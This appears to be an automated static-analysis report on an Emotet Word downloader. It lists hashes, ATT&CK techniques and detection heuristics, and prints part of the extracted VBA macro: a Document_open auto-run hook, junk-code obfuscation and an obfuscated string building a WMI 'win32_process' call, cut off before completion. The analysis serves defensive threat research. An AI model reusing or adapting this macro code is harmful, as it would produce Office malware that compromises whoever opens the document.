Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 036f1343efadacb2…

MALICIOUS

Office (OLE)

223.9 KB Created: 2020-08-28 23:46:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 00a4dcfb6ee636e87333216556a31686 SHA-1: fa585dc7928098b8fd67197aaf768e03ea8a97f4 SHA-256: 036f1343efadacb2e641e0f98a387aa17b0a03c6cb8fb705cb1f57ddb3daaceb
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.EmotetRed02226-9938639-0', indicating it's a known Emotet downloader variant. The presence of a 'Document_Open' VBA macro that uses 'CreateObject' strongly suggests the macro is designed to download and execute a secondary payload. This aligns with Emotet's typical behavior of acting as a downloader for further malicious activity.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16072 bytes
SHA-256: 5595e6c0d2ff6a9d8ee2134dd1e3bb4a2dcb47ef9257ab221c8d3c1bd748ec49
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Tx93m6knykqnsa"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Nmudzlfu9gtfy_9.Z8sa6pxkds_qs9
End Sub


Attribute VB_Name = "Nmudzlfu9gtfy_9"
Attribute VB_Base = "0{49C900C2-F904-4B9D-B94D-B42BF20756D3}{9548E86B-0ECA-4734-86DC-83A6D0887D71}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Z8sa6pxkds_qs9()
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
H6jwl2euioz43 = 100
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Spib0u13s0qa = ChrW(H6jwl2euioz43 + (yyyy + 5 + bbbbb + 10))
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Mante_kx4o0t9ruf3 = "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0si2n3(((((h 2289(7 2379((0snm2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sgm2n3(((((h 2289(7 2379((0st2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s" + Spib0u13s0qa + "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s:2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0sin2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s32n3(((((h 2289(7 2379((0s22n3(((((h 2289(7 2379((0s_2n3(((((h 2289(7 2379((0s" + Nmudzlfu9gtfy_9.O8my8r755grqu + "2n3(((((h 2289(7 2379((0sro2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sce2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0s"
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
T_w8qyq2vxst59 = Clo03821v7my3iqcv1(Mante_kx4o0t9ruf3)
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWq
... (truncated)